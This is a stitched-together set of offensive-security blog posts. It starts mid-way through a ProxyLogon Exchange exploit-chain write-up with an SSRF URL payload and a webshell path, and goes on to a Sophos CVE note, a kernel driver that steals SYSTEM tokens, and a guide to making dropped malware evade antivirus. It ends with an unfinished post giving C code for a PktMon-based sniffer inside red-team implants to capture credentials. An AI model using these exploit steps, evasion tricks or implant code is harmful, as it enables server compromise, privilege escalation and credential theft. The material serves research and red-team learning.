Frontend Response Section

The last is the section of Response. It receives the response from the Backend and decides which headers or cookies are allowed to be sent back to the Frontend.

Backend Rehydration Module

Now let’s move on and check how the Backend processes the request from the Frontend. The Backend first uses the method IsAuthenticated to check whether the incoming request is authenticated. Then the Backend will verify whether the request is equipped with an extended right called ms-Exch-EPI-Token-Serialization. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.

After passing the check, Exchange will restore the login identity used in the Frontend, through deserializing the header X-CommonAccessToken back to the original Access Token, and then put it in the httpContext object to progress to the business logic in the Backend.

Authentication\BackendRehydrationModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) {
    if (httpContext.Request.IsAuthenticated) {
        this.ProcessRequest(httpContext);
    }
}

private void ProcessRequest(HttpContext httpContext) {
    CommonAccessToken token;
    if (this.TryGetCommonAccessToken(httpContext, out token)) {
        // ...
    }
}

private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];
    if (string.IsNullOrEmpty(text)) {
        return false;
    }
        
    bool flag;
    try {
        flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity);
    } finally {
        httpContext.Items["BEValidateCATRightsLatency"] = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
    }

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
    
    //...
}

private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) {
   flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);
   return flag2;
}

private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) {
    return LocalServer.HasExtendedRightOnServer(clientContext, 
        WellKnownGuid.TokenSerializationRightGuid);  // ms-Exch-EPI-Token-Serialization

}

The attack surface

After a brief introduction to the architecture of CAS, we now realize that CAS is just a well-written HTTP Proxy (or Client), and we know that implementing Proxy isn’t easy. So I was wondering:

Could I use a single HTTP request to access different contexts in Frontend and Backend respectively to cause some confusion?

If we could do that, maaaaaybe I could bypass some Frontend restrictions to access arbitrary Backends and abuse some internal API. Or, we can confuse the context to leverage the inconsistency of the definition of dangerous HTTP headers between the Frontend and Backend to do further interesting attacks.

With these thoughts in mind, let’s start hunting!

The ProxyLogon

The first exploit is the ProxyLogon. As introduced before, this may be the most severe vulnerability in the Exchange history ever. ProxyLogon is chained with 2 bugs:

CVE-2021-26855 - Pre-auth SSRF

There are more than 20 handlers corresponding to different application paths in the Frontend. While reviewing the implementations, we found the method GetTargetBackEndServerUrl, which is responsible for calculating the Backend URL in the static resource handler, assigns the Backend target by cookies directly.

Now you figure out how simple this vulnerability is after learning the architecture!

HttpProxy\ProxyRequestHandler.cs

protected virtual Uri GetTargetBackEndServerUrl() {
    this.LogElapsedTime("E_TargetBEUrl");
    Uri result;
    try {
        UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
        if (urlAnchorMailbox != null) {
            result = urlAnchorMailbox.Url;
        } else {
            UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
            clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
            clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
            clientUrlForProxy.Port = 444;
            if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
                this.ProxyToDownLevel = true;
                RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
                clientUrlForProxy.Port = 443;
            }
            result = clientUrlForProxy.Uri;
        }
    }
    finally {
        this.LogElapsedTime("L_TargetBEUrl");
    }
    return result;
}

From the code snippet, you can see the property BackEndServer.Fqdn of AnchoredRoutingTarget is assigned from the cookie directly.

HttpProxy\OwaResourceProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() {
    HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];
    if (httpCookie != null) {
        this.savedBackendServer = httpCookie.Value;
    }
    if (!string.IsNullOrEmpty(this.savedBackendServer)) {
        base.Logger.Set(3, "X-AnonResource-Backend-Cookie");
        if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
            ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie, int>((long)this.GetHashCode(), "[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.", httpCookie, base.TraceContext);
        }
        return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
    }
    return new AnonymousAnchorMailbox(this);
}

Though we can only control the Host part of the URL, but hang on, isn’t manipulating a URL Parser exactly what I am good at? Exchange builds the Backend URL by built-in UriBuilder. However, since C# didn’t verify the Host, so we can enclose the whole URL with some special characters to access arbitrary servers and ports.

https://[foo]@example.com:443/path#]:444/owa/auth/x.js

So far we have a super SSRF that can control almost all the HTTP requests and get all the replies. The most impressive thing is that the Frontend of Exchange will generate a Kerberos Ticket for us, which means even when we are attacking a protected and domain-joined HTTP service, we can still hack with the authentication of Exchange Machine Account.

So, what is the root cause of this arbitrary Backend assignment? As mentioned, the Exchange Server changes its architecture while releasing new versions. It might have different functions in different versions even with the same component under the same name. Microsoft has put great effort into ensuring the architectural capability between new and old versions. This cookie is a quick solution and the design debt of Exchange making the Frontend in the new architecture could identify where the old Backend is.

CVE-2021-27065 - Post-auth Arbitrary-File-Write

Thanks to the super SSRF allowing us to access the Backend without restriction. The next is to find a RCE bug to chain together. Here we leverage a Backend internal API /proxyLogon.ecp to become the admin. The API is also the reason why we called it ProxyLogon.

Because we leverage the Frontend handler of static resources to access the ECExchange Control Panel (ECP) Backend, the header msExchLogonMailbox, which is a special HTTP header in the ECP Backend, will not be blocked by the Frontend. By leveraging this minor inconsistency, we can specify ourselves as the SYSTEM user and generate a valid ECP session with the internal API.

With the inconsistency between the Frontend and Backend, we can access all the functions on ECP by Header forgery and internal Backend API abuse. Next, we have to find an RCE bug on the ECP interface to chain them together. The ECP wraps the Exchange PowerShell commands as an abstract interface by /ecp/DDI/DDIService.svc. The DDIService defines several PowerShell executing pipelines by XAML so that it can be accessed by Web. While verifying the DDI implementation, we found the tag of WriteFileActivity did not check the file path properly and led to an arbitrary-file-write.

DDIService\WriteFileActivity.cs

public override RunResult Run(DataRow input, DataTable dataTable, DataObjectStore store, Type codeBehind, Workflow.UpdateTableDelegate updateTableDelegate) {
    DataRow dataRow = dataTable.Rows[0];
    string value = (string)input[this.InputVariable];
    string path = (string)input[this.OutputFileNameVariable];
    RunResult runResult = new RunResult();
    try {
        runResult.ErrorOccur = true;
        using (StreamWriter streamWriter = new StreamWriter(File.Open(path, FileMode.CreateNew)))
        {
            streamWriter.WriteLine(value);
        }
        runResult.ErrorOccur = false;
    }
    
    // ...
}

There are several paths to trigger the vulnerability of arbitrary-file-write. Here we use ResetOABVirtualDirectory.xaml as an example and write the result of Set-OABVirtualDirectory to the webroot to be our Webshell.

Now we have a working pre-auth RCE exploit chain. An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port. Here is an demonstration video:

Epilogue

As the first blog of this series, ProxyLogon perfectly shows how severe this attack surface could be. We will have more examples to come. Stay tuned!

Schwachstelle in Sophos Suite

CVE CVE-2021-25269 Verwundbare Software HitmanPro.Alert Agent (Sophos Suite) vor 3.8.1.504 Schwachstelle Eine unzureichende Konfiguration des Dienstes erlaubt eine Erweiterung der Rechte auf System-Ebene. Zeitlinie 19.06.2021 Hersteller informiert 21.06.2021 Hersteller bestätigt die Schwachstelle und teilt HanseSecure mit, dass die Schwachstelle in der nächsten Version gepachted wird. 01.08.2020 Disclosure Referenzen: Sophos Hall of Fame

Stealing Tokens In Kernel Mode With A Malicious Driver

Stealing Tokens In Kernel Mode With A Malicious Driver

Introduction

I’ve recently been working on expanding my knowledge of Windows kernel concepts and kernel mode programming. In the process, I wrote a malicious driver that could steal the token of one process and assign it to another. This article by the prolific and ever-informative spotless forms the basis of this post. In that article he walks through the structure of the _EPROCESS and _TOKEN kernel mode structures, and how to manipulate them to change the access token of a given process, all via WinDbg. It’s a great post and I highly recommend reading it before continuing on here.

The difference in this post is that I use C++ to write a Windows kernel mode driver from scratch and a user mode program that communicates with that driver. This program passes in two process IDs, one to steal the token from, and another to assign the stolen token to. All the code for this post is available here.

About Access Tokens

A common method of escalating privileges via buggy drivers or kernel mode exploits is to the steal the access token of a SYSTEM process and assign it to a process of your choosing. However this is commonly done with shellcode that is executed by the exploit. Some examples of this can be found in the wonderful HackSys Extreme Vulnerable Driver project. My goal was to learn more about drivers and kernel programming rather than just pure exploitation, so I chose to implement the same concept in C++ via a malicious driver.

Every process has a primary access token, which is a kernel data structure that describes the rights and privileges that a process has. Tokens have been covered in detail by Microsoft and from an offensive perspective, so I won’t spend a lot of time on them here. However it is important to know how the access token structure is associated with each process.

Processes And The _EPROCESS Structure

Each process is represented in the kernel by a doubly linked list of _EPROCESS structures. This structure is not fully documented by Microsoft, but the ReactOS project as usual has a good definition of it. One of the members of this structure is called, unsurprisingly, Token. Technically this member is of type _EX_FAST_REF, but for our purposes, this is just an implementation detail. This Token member contains a pointer to the address of the token object belonging to that particular process. An image of this member within the _EPROCESS structure in WinDbg can be seen below:

Token in WinDbg

As you can see, the Token member is located at a fixed offset from the beginning of the _EPROCESS structure. This seems to change between versions of Windows, and on my test machine running Windows 10 20H2, the offset is 0x4b8.

The Method

Given the above information, the method for stealing a token and assigning it is simple. Find the _EPROCESS structure of the process we want to steal from, go to the Token member offset, save the address that it is pointing to, and copy it to the corresponding Token member of the process we want to elevate privileges with. This is the same process that Spotless performed in WinDbg.

The Driver

In lieu of exploiting a kernel mode exploit, I write a simple test driver. The driver exposes an IOCTL that can be called from user mode. It takes struct that contains two members: an unsigned long for the PID of the process to steal a token from, and an unsigned long for the PID of the process to elevate.

PID Struct

The driver will find the _EPROCESS structure for each PID, find the Token members, and copies the target process token to the destination process.

The User Mode Program

The user mode program is a simple C++ CLI application that takes two PIDs as arguments, and copies the token of the first PID to the second PID, via the exposed driver IOCTL. This is done by first opening a handle to the driver by name with CreateFileW and then calling DeviceIoControl with the correct IOCTL.

User Mode Code

The Driver Code

The code for the token copying is pretty straight forward. In the main function for handling IOCTLs, HandleDeviceIoControl, we switch on the received IOCTL. When we receive IOCTL_STEAL_TOKEN, we save the user mode buffer, extract the two PIDs, and attempt to resolve the PID of the target process to the address of its _EPROCESS structure:

IOCTL Switch

Once we have the _EPROCESS address, we can use the offset of 0x4b8 to find the Token member address:

Token Offset

We repeat the process once more for the PID of the process to steal a token from, and now we have all the information we need. The last step is to copy the source token to the target process, like so:

Copy Token

The Whole Process

Here is a visual breakdown of the entire flow. First we create a command prompt and verify who we are:

Whoami

Next we use the user mode program to pass the two PIDs to the driver. The first PID, 4, is the PID of the System process, and is usually always 4. We see that the driver was accessed and the PIDs passed to it successfully:

User Mode Program

In the debug output view, we can see that HandleDeviceIoControl is called with the IOCTL_STEAL_TOKEN IOCTL, the PIDs are processed, and the target token overwritten. Highlighted are the identical addresses of the two tokens after the copy, indicating that we have successfully assigned the token:

Copy Token Debug View

Finally we run whoami again, and see that we are now SYSTEM!

Whoami System

We can even do the same thing with another user’s token:

Whoami 2

Conclusion

Kernel mode is fun! If you’re on the offensive side of the house, it’s well worth digging into. After all, every user mode road leads to kernel space; knowing your way around can only make you a better operator, and it expands the attack surface available to you. Blue can benefit just as much, since knowing what you’re defending at a deep level will make you able to defend it more effectively. To dig deeper I highly recommend Pavel Yosifovich’s Windows Kernel Programming, the HackSys Extreme Vulnerable Driver, and of course the Windows Internals books.

On Disk, The Devil’s In The Details

On Disk, The Devil’s In The Details

Introduction

During red team operations and penetration tests, there are occasions where you need to drop an executable to disk. It’s usually best to stay in memory and avoid this if possible, but there are plenty of situations where it’s unavoidable, like DLL sideloading. In these cases, you typically drop a custom malicious PE file of some sort. Being on disk instead of in memory opens you up to the world of AV static analysis and the set of challenges bypassing it presents. There are many resources on the net about avoiding AV signatures, say for example Metasploit shellcode, by using string obfuscation, encryption, XORs, pulling down staged payloads over the network, shrinking the import table, polymorphic encoding, etc. I’m going to assume you’ve done your due diligence and handled the big stuff. However there are some other more subtle indicators and heuristics AV can use to help spot a malicious binary when it is present on disk. These are what this post is all about.

Data About Data

When you compile a binary, whether it’s a DLL or an EXE, the compiler will automatically include a certain amount of metadata about the resulting binary, such as the compliation date and time, compiler vendor, debug files, file paths, etc. This “data about data” can reveal a lot about an executable, especially an executable never encountered by a given AV engine.

The AV engine’s job is to take files, inspect the metadata, apply heuristics, and determine liklihood of it being malicious. Clearly the more metadata and information we leave in our dropped binary, the more likely it is to be flagged. We are automatically at a disadvantage, since we are writing custom code that has never been seen by the AV engine and its file hash is unfamiliar. Compare that to a very commonly-seen file, like a Firefox installer MSI with a known hash and metadata, seen by many installations of the AV software across customer locations, and you can see how a custom compiled binary can stick out.

All is not lost, however. AV can’t simply declare every newly-seen file malicious, as all known-good files start off as unknown at some point. So the AV must use imperfect signatures, metadata, and heuristics to make a good vs. bad determination. We want to remove as many pieces of information that could push us towards a positive dectection as we can.

Now will making these changes make your malicious payload FUD and guaranteed to slip through? Not at all. If you’re dropping unencrypted Cobalt Strike shellcode all over the place, you’re done. But as AV and EDR gets better, the more important it is to give them as little information as possible. And who wants to burn a perfectly crafted custom payload beacuse you left some silly string in? It’s not a magic bullet, it’s not even an ordinary unmagical bullet, but every little bit helps.

Code Signing

One way developers can help signal to Windows and AV engines that their software is not malicious is by using code signing certs. These are (supposed to be) expensive and difficult to obtain x.509 certificates that can be used to cryptographically sign a compiled binary. The idea is that only the legitimate and properly vetted owner should have access to the private key, and must have legitimately signed the file, indicating that it is trustworthy. This gives AV a high fidelity way of identifying the author.

There are two problems with this approach though. Stuxnet famously stole multiple valid code signing certs in order to sign its payloads and help avoid detection. Certificate private keys occasionally end up committed to Github as well. So a validly signed cert is never a 100% guarantee of non-maliciousness.

The other issue is that sometimes AV engines fail to check the validity of a certificate at all, instead simply checking to see if the file has been signed. Which means as long as we can sign our payload with any old self-signed cert, we would pass this particular check. Lucky for us, anyone can generate a code signing cert and use it to sign their malware. It’s free and easy to automate. This Stack Overflow post shows how to create one on Windows and how to use signtool to sign a binary. On Linux, you can use Limelighter to sign with an existing certificate, or download the cert from a website and use it as a code signing cert:

Limelighter

And the resulting self-signed binary:

Signed Binary

CarbonCopy is another good tool that can use website certificates to sign a file.

File Properties

Another piece of data, or rather lack of data, are the file properties of an executable. By default, this information is not included when you compile a binary. It looks like this:

Empty Details

It must be added via a resource file and compiled into the binary. This missing information is another, somewhat low fidelity, indicator that a file may not have been produced by a legitimate software vendor, and is therefore more likely to be malicious. Admittedly, this is probably not a huge red flag to most AV, but it’s easy enough to implement, so why not? The details add up.

Creating the resource file is not the most straightforward process. I found the easiest way was to let Visual Studio create it for me. You create a new item of the type resource, and then add a Version resource. Tweak it how you’d like, and the save the resulting Resource.rc file. I’ve created one and stripped out the extraneous lines for easy use here.

Here are two gists for creating the object file to include with your compilation sources: Windows and Linux. Thanks to Sektor7 for the Windows version.

Here is the result of including a resource file during compilation:

File properties

The Rich Header

The Rich header is an undocumented field within the PE header of Windows executables that were created by a Microsoft compiler. It captures some information about the compilation process, including the compiler and linker versions, number of files compiled, objects created, etc. It has been covered in some depth in several places, but a good recap and analysis is here.

Because this header encodes rather specific information about an executable, it provides a way of tracking it between systems. AV engines can use it match up strains of malware, attribution, etc. Some threat actors are aware of this fact however, and try to use it to their advantage. The most well-known case of this was the OlympicDestroyer malware, which spoofed its Rich header to resemble the Lazarus group.

I don’t have code or specific recommendations here, mainly because what you might want to do with the Rich header will depend on what you want to acheive. It is worth knowing about, because it is an indicator that you can use, or have used against you. For instance, the GCC compiler doesn’t include the Rich header. If the environment you’re operating in is dominated by Windows machines, much of the software runnning was likely compiled by Visual Studio. Running a GCC or MinGW compiled binary alone isn’t enough on its own to get you caught, but it may make you stand out, which can often mean the same thing. So you may want to add a Rich header, or remove it, or change it to emulate an adversary, or do nothing at all with it. Just know that it exists, and be aware of what it might tell the opposition about your file. Knowledge is power after all.

If you would like to at least remove the Rich header, peupdate can handle that for you. Another option would be one of the PE parsing Python libraries.

Here is a breakdown of the Rich header, courtesy of the wonderful PE-bear. Note the references to masm and the Visual Studio version used.

PE-bear

Compile Times

Another indicator AV can use to help determine maliciousness in a file is the compilation time. The idea is that most software will have been compiled some time in the past before it is used. A very recently compiled binary, say within the past day or even hour, could look very suspicious, especially running on Bob in HR’s machine, who probably isn’t doing any programming. Even a signed binary with no other obvious signs of being malicious, depending on the compile time, can look mighty strange. As always, context matters. If by chance you’ve breached the development network, new binaries are business as usual.

One complication with timestamps in a PE file is the sheer number of them. This post puts the number at 8, though some are not always included, or are simply for managing bound imports and are not full timestamps. A tool is included for viewing them, and tools like PEStudio are great for this as well. Two commonly modified timestamps are the TimeDateStamp of the COFF File Header, and the TimeDateStamp field of the debug directory:

PEStudio

Like the Rich header, timestamps are not something that must be changed. They are just another piece of information to be aware of, something that can tell the blue team a story. You get to decide what story is appropriate, depending on the context of the engagment.

For an excellent deep dive into timestamps, I recommend this blog post.

Conclusion

The main theme of this post has been about knowing the little details of the malware you write, and the context in which you deploy that malware. Context matters, details add up, and they can make or break an engagement. I hope this list of subtleties will come in handy on your next engagement.

Adding a native sniffer to your implants: decomposing and recomposing PktMon

Dear Fellowlship, today’s homily is about how to add a sniffer to our implant. To accomplish this task we are going to dissect the native tool PktMon.exe, so we can learn about its internals in order to emulate its functionalities. Please, take a seat and listen to the story.

Prayers at the foot of the Altar a.k.a. disclaimer

In this article we are going to touch on some topics that we are not familiar with, so it is possible that we make some minor mistakes. If you find any, please do not hesitate to contact us so we can correct it.

Introduction

Some years ago we had to face a Red Team operation where at some point we discovered that a lot of machines were running a Backup service. This Backup service was old as hell and it was composed by a central node and agents installed in each machine that were enrolled in this “central server”.

When a management task had to be executed (for example, to schedule a backup or to check agent stats) the central node sent the order to the target machine. To load those orders the central server had to authenticate against each agent and here comes the magic: the authentication was unencrypted and shared between machines. Getting those credentials meant RCE in all the machines that had the agent installed (to perform a backup task you could configure arbitrary pre/post system commands, so it was a insta-pwn). A lot of techniques can be used to intercept those credentials (injecting a hook, reversing the application in order to understand how the credentials are saved…), but undoubtedly the easiest and painless way is to use a sniffer.

Today most of the communications between services are encrypted (SSL/TLS ftw!) and a sniffer inside a Red Team operation or a pentest is something that you are going to use only in a corner-case. But learning new things is always useful: you never know when this info can save your ass. So here we are! Let’s build a shitty PoC able to sniff traffic!

In windows we have the utility PktMon:

Packet Monitor (Pktmon) is an in-box, cross-component network diagnostics tool for Windows. It can be used for packet capture, packet drop detection, packet filtering and counting. The tool is especially helpful in virtualization scenarios, like container networking and SDN, because it provides visibility within the networking stack. Packet Monitor is available in-box via pktmon.exe command on Windows 10 and Windows Server 2019 (Version 1809 and later).

As the descriptions states, it is exactly the place where we should start to peek an eye.

Phase I: decompose

Before feeding our disassembler with PktMon.exe we can extract some clues about what we should focus. First in the syntax page we have this text:

Packet Monitor generates log files in ETL format. There are multiple ways to format the ETL file for analysis

We can deduce that we are interested in code related with Event Trace Log files. Also the documentation for pktmon unload states:

Stop the PktMon driver service and unload PktMon.sys. Effectively equivalent to ‘sc.exe stop PktMon’. Measurement (if active) will immediately stop, and any state will be deleted (counters, filters, etc.).

If sc is related, it means that we are going to deal with services. So the first thing to look are functions related with “service”. With the symbol search in Binary Ninja we can find that OpenServiceW is used with the parameter “PktMon”, so it rings the bell.

OpenServiceW
OpenServiceW with "PktMon" as parameter (function OpenService_PktMon was renamed by us).

Checking for cross-references leads us to this other function, where we can see clearly how it calls our renamed OpenService_PktMon (where the OpenServiceW was located) and if everything goes OK it opens the device “PktMonDev”.

Device
Opening the device "PktMonDev".

So far we know that our PktMon start a service called “PktMon” and it opens a handle to the device “PktMonDev”. Playing with drivers means that we are going to deal with IOCTL codes. Indeed if we check again for cross-references we can see how the handle obtained before is used in a DeviceIoControl call:

DeviceIoControl
Calling DeviceIoControl() (yep, DeviceIoControl_Arbitrary -and also the args- was renamed by us).

At this point we can use a mix of static and dynamic analysis to check what IOCTLs are used and for what task. Just run PktMon start -c --pkt-size 0 inside a debugger, put a breakpoint at DeviceIoControl and check where the IOCTL appears in the disassembly (the same approach can be done with Frida or any other tool that let you hook the function to check the parameters).

After one hour wasted reversing this (yeah, we are slow as hell because our skills doing RE are close to zero) we noticied that in System32 exists a DLL called PktMonApi.dll… and if you check the exports…

DeviceIoControl
*Extreme Facepalm*. Each export is verbose enough to undertand exactly what does each IOCTL.

So… yes, we could save a lot of time to understand what does each call to DeviceIoControl by just looking this DLL. Shame on us!

The IOCTL for the “start” parameter is 0x220404. Let’s check the registers when DeviceIoControl is called with this code:

RAX : 0000000000000000
RBX : 0000000000220404
RCX : 0000000000000188 <= Handle to \\.\PktMonDev    
RDX : 0000000000220404 <= IOCTL for "PktMonStart"
RBP : 0000000000000188     
RSP : 00000077D027FC28
RSI : 00000077D027FDB8
RDI : 0000000000000014
R8  : 00000077D027FDB8 <= Input buffer
R9  : 0000000000000014 <= Input size
R10 : 00000FFF26BD722B
R11 : 00000077D027FCC0
R12 : 0000000000000000
R13 : 00000192BDDE0570
R14 : 0000000000000001
R15 : 0000000000000000
RIP : 00007FF935E9AC00     <kernelbase.DeviceIoControl>

To get the input transmited to the driver we just have to read R9 bytes at address contained in R8:

0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x01, 0x0, 0x00, 0x00 

This message tells the driver that should start capturing fully packets (by default the packets are truncated to 128 bytes, with --pkt-size 0 we disable this limit).

If we want to add a filter (because we are only interested in a service that uses X port) we need to use the IOCTL 0x220410 which uses a bigger input (0xD8 bytes) with the next layout:

Input buffer for PktMonAddFilter
Input buffer for PktMonAddFilter.

As we can see the marked XX II bytes corresponds to the port. If we want to capture the traffic exchanged in port 14099, our input buffer will be:

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
(...)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x37, 0x00, 0x00, 0x00, 0x00,
(...)

So far at this point we know how to communicate with the driver in order to initate the capture of traffic and how to set capture filters based on ports. But… how are we going to collect and save the data? The MSDN page stated that packets are saved as ETL. Let’s search for symbols related to event logging!

StartTraceW
References to ETL related functions

If we set a breakpoint on those functions and run PktMon.exe we are going to hit them. We are interested in EnableTraceEx2 because it receives as parameter the provider GUID which indicates the event trace provider we are going to enable.

RAX : 0000000000000012
RBX : 0000017419FE01B0
RCX : 000000000000001A
RDX : 0000017419FE01B0 
RBP : 0000003FB196F650
RSP : 0000003FB196F548
RSI : 0000017419FE01F0     
RDI : 0000000000000000
R8  : 0000000000000001
R9  : 0000000000000004
R10 : 0000017419FC0000
R11 : 0000003FB196F430
R12 : 0000000000000000
R13 : 0000017419FE01B0
R14 : 0000000000000000
R15 : 0000000000000001
RIP : 00007FF8F7389910     <sechost.EnableTraceEx2>

The GUID is a 128-bit value. Let’s retrieve it from 17419FE01B0:

D9 80 4F 4D BD C8 73 4D BB 5B 19 C9 04 02 C5 AC

This translates to the GUID {4D4F80D9-C8BD-4D73-BB5B-19C90402C5AC}. If we google this value we reach this reference from Microsoft’s repo that confirms the value:

(...)
[RegisterBefore(NetEvent.UserData, MicrosoftWindowsPktMon, "{4d4f80d9-c8bd-4d73-bb5b-19c90402c5ac}")]
(...)

To recap:

  • PktMon starts a service and communicate to the driver via \\.\PktMonDev device.
  • Uses the IOCTL 0x220410 to set the filter and 0x220404 to start capturing traffic
  • The packets are saved as events, so it creates a trace session to log the info in a .etl file (or info can be sent to the output in real-time).

Ooook. We have enough info to start to build our PoC

Phase II: recompose

MSDN provides an example of how to start a trace session. We are going to use this example as base to enable the trace:

//...
#define LOGFILE_PATH "C:\\Windows\\System32\\ShabbySniffer.etl"
#define LOGSESSION_NAME "My Shabby Sniffer doing things"
//...

DWORD initiateTrace(void) {
	static const GUID sessionGuid = { 0x6f0aaf43, 0xec9e, 0xa946, {0x9e, 0x7f, 0xf9, 0xf4, 0x13, 0x37, 0x13, 0x37 } };  
	static const GUID providerGuid = { 0x4d4f80d9, 0xc8bd, 0x4d73, {0xbb, 0x5b, 0x19, 0xc9, 0x04, 0x02, 0xc5, 0xac } }; // {4D4F80D9-C8BD-4D73-BB5B-19C90402C5AC}

	// Taken from https://docs.microsoft.com/en-us/windows/win32/etw/example-that-creates-a-session-and-enables-a-manifest-based-provider
	ULONG status = ERROR_SUCCESS;
	TRACEHANDLE sessionHandle = 0;
	PEVENT_TRACE_PROPERTIES pSessionProperties = NULL;
	ULONG bufferSize = 0;
	BOOL TraceOn = TRUE;

	bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
	pSessionProperties = (PEVENT_TRACE_PROPERTIES)malloc(bufferSize);

	ZeroMemory(pSessionProperties, bufferSize);
	pSessionProperties->Wnode.BufferSize = bufferSize;
	pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
	pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
	pSessionProperties->Wnode.Guid = sessionGuid;
	pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR;
	pSessionProperties->MaximumFileSize = 50;  // 50 MB
	pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
	pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
	StringCbCopyA(((LPSTR)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

	status = StartTraceA(&sessionHandle, LOGSESSION_NAME, pSessionProperties);
	if (status != ERROR_SUCCESS) {
		printf("[!] StartTraceA failed!\n");
		return -1;
	}
	status = EnableTraceEx2(sessionHandle, &providerGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER, TRACE_LEVEL_INFORMATION, 0, 0, 0, NULL);
	if (status != ERROR_SUCCESS) {
		printf("[!] EnableTraceEx2 failed!\n");
		return -1;
	}
	return 0;
}
//...

As this is just a PoC we are going to use EVENT_TRACE_FILE_MODE_CIRCULAR file mode. Exists different logging modes that can fit better for our purposes (for example generating a new file each time we reach the maximum size, so you can delete older files).

Implementing the driver communication is easy because the pseudocode obtained from Binary Ninja is pretty clear. First, let’s start the service and open a handle to the device:

//...
HANDLE PktMonServiceStart(void) {
	SC_HANDLE hManager;
	SC_HANDLE hService;
	HANDLE hDriver;
	BOOL status;

	hManager = OpenSCManagerA(NULL, "ServicesActive", SC_MANAGER_CONNECT); // SC_MANAGER_CONNECT == 0x01
	if (!hManager) {
		return NULL;
	}
	hService = OpenServiceA(hManager, "PktMon", SERVICE_START | SERVICE_STOP); // 0x10 | 0x20 == 0x30
	CloseServiceHandle(hManager);

	status = StartServiceA(hService, 0, NULL);
	CloseServiceHandle(hService);

	hDriver = CreateFileA("\\\\.\\PktMonDev", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // 0x80000000 | 0x40000000 == 0xC0000000; OPEN_EXISTING == 0x03; FILE_ATTRIBUTE_NORMAL == 0x80
	if (hDriver == INVALID_HANDLE_VALUE) {
		return NULL;
	}
	return hDriver;
}
//...

In our PoC we are going to create a filter to intercept the traffic throught 14099 port (yeah we love 1337 jokes) and then start capturing the traffic:

//...
DWORD initiateCapture(HANDLE hDriver) {
	BOOL status;
	DWORD IOCTL_start = 0x220404;
	DWORD IOCTL_filter = 0x220410;

	LPVOID IOCTL_start_InBuffer = NULL;
	DWORD IOCTL_start_bytesReturned = 0;
	char IOCTL_start_message[0x14] = { 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x01, 0x0, 0x00, 0x00 };

	LPVOID IOCTL_filter_InBuffer = NULL;
	DWORD IOCTL_filter_bytesReturned = 0;
	char IOCTL_filter_message[0xD8] = {
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
